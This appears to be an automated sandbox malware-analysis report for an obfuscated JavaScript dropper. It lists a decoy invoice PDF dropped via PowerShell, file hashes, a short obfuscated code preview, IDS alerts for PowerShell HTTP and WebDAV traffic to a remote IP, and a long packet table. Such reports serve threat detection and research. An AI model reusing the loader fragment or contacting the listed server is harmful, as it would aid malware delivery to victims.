...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15837), with CRLF line terminators
Entropy (8bit):	4.9044862221448335
TrID:
File name:	1926422634111517010.js
File size:	19'239 bytes
MD5:	9b7c2d82614c8bf2c172db91faac3836
SHA1:	8750a45e2c0130c167102c58536b72b3b4536c17
SHA256:	527713f6074ba8f6df775621d09f3ac37cb1e86d4b3535fb38b58ac6cffccca0
SHA512:	e3bfc9c201944686b2232075f4866798e442eca44ef334fd633652ef9e7b47ba930d09b19a1ffa6905ac4bb340644580a2b8d7b67944aea8d34890398acd5060
SSDEEP:	192:qf9unUGqKSaRbtZtNt5aeZCSbMDJSMm8ij1w1IiF6hEkRPKtscBwM8ibdoydAIVy:s04JVze16ECtscmjt/
TLSH:	018233CAC302439781F4787CB7D588BB639813A58B25E5EA1D80BD30174E8B796EB4F4
File Content Preview:	function hyptlz(){xxveplxnz=[1031,3079,5127,4103,2055,3072];var korfy=this[alzcmu+jfeseje+bcpetc+wowvvvjx+uvjbx+uasnha+jzobmwasb+odebbvol](this[iepmsib+ryjzg+yjwfmxhxs+bcpetc+nbwlkzyye+alzcmu+odebbvol][vjfsmnz+bcpetc+uvjbx+jfeseje+odebbvol+uvjbx+brbtymq+b

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T20:46:04.117349+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-10T20:46:06.845173+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:46:03.291366100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:03.296499014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:03.296591997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:03.299245119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:03.304198980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.117132902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.117162943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.117189884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.117204905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.117222071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.117235899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.117250919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.117264986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.117280006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.117295027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.117348909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.120415926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.122235060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.122260094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.122324944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.171925068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.171947002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.172032118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.242443085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.242486954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.242569923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.242887974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.242938042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.244503021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.247167110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.247200966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.247683048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.247709990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.247740030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.247838974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.251897097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.251929998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.251954079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.251972914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.252424955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.252454996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.252495050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.256643057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.256659985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.256700993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.257116079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.257133007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.257179022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.261368036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.261384010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.261450052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.261816978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.261832952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.261848927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.261862993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.261895895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.304052114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.345247030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.350284100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.350306988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.350322008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.350393057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.369393110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.369448900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.369504929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.369509935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.369545937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.369585991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.369616985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.369633913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.369633913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.369652987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.369693995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.369726896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.369726896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.369793892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.370017052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.370054007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.370090008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.370101929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.370124102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.370161057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.370177984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.371095896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.371133089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.371167898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.371201038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.371203899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.371237040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.371270895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.371289968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.371733904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.371769905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.371817112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.371887922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.371923923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.371961117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.371970892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.372785091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.372819901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.372836113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.372857094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.372921944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.372971058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.373007059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.373051882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.373733044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.373768091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.373802900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.373820066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.373836994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.373872042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.373905897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.375032902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.375068903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.375103951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.375103951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.375157118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.375194073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.375195980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.375231981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.375262022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.375267982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.375303984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.375330925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.375505924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.375562906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.395544052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.395584106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.395643950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.441643953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.476656914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.476696014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.476728916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.476731062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.476766109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.476787090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.476805925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.476850986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.493793964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.493925095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.493956089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.493989944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.494020939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.494025946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.494043112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.494060993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.494096041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.494112968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.494131088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.494163990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.494179964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.494219065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.494254112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.494266033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.494291067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.494319916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.494340897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.494421005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.494456053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.494476080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.494492054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.494528055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.494538069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.494563103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.494607925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.494635105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.494699955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.494731903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.494750977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.494769096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.494801044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.494807005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.494836092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.494879961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.494970083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.495003939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.495039940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.495053053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.495074034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.495107889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.495117903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.495310068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.495364904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.495378971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.495400906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.495434999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.495451927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.495470047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.495503902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.495515108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.495538950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.495580912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.495584965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.495821953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.495855093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.495867968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.495891094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.495924950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.495934963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.495959044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.495992899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.496001959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.496027946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.496059895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.496073961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.496095896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.496133089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.496140957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.496419907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.496453047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.496463060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.496489048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.496521950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.496539116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.496558905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.496594906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.496604919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.496630907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.496663094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.496675014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.496699095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.496733904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.496745110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.499172926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.499207020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.499232054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.499242067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.499275923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.499289036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.499665022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.499768972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.499802113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.499814987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.499836922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.499871969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.499881983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.499912977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.499946117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.499958038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.499980927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.500014067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.500025988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.500049114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.500085115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.500093937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.500119925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.500152111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.500164032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.500188112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.500231028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.504630089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.504650116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.532238960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.532254934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.532337904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.567138910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.567230940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.567265034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.567300081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.567308903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.567370892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.567372084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.567401886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.567452908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.567461967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.567497015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.567528009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.567550898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.567559958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.567595005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.567612886 CET	49730	80	192.168.2.4	193.143.1.205
